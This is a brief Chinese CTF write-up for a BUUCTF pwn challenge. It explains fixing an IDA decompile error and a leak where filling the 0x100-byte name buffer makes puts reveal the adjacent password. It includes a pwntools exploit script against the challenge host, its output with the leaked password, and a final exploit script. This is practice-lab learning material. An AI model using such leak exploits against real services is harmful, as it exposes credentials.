虽然很简单,但好像第一次碰见这样的题,所以记录下。
反汇编问题
问题:main函数f5的时候报如下错误
解决:
找到报错的地址:0x8048705【按g输入地址即可】
双击函数,然后f5
然后就可以正常了
程序流程
- 输入name
- 打印name
- 输入password
- 比较输入password和password
- 相同打印flag
漏洞利用
由于name和password是紧挨着的,而且差距0x100。
如果name的长度为0x100,那么puts输出name的时候,就会把password一起带出来了。
而且name的最大长度可以达到0x100,故首先令name=0x100,即可泄露password,接着就可以得到flag了。
获得password
1 2 3 4 5 6 7 8
| from pwn import * p = remote("node3.buuoj.cn",26105) p.recvuntil("name?") p.sendline("a"*0x100) # password = "a_reAllY_s3cuRe_p4s$word_f85406" # p.sendline(password) p.recv() p.interactive()
|
1 2 3 4
| [*] Switching to interactive mode Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa,a_reAllY_s3cuRe_p4s$word_f85406
Incorrect Password!
|
完整exp
1 2 3 4 5 6 7 8
| from pwn import * p = remote("node3.buuoj.cn",26105) p.recvuntil("name?") p.sendline("a"*0x100)
p.recv() p.interactive()
|
下载
附件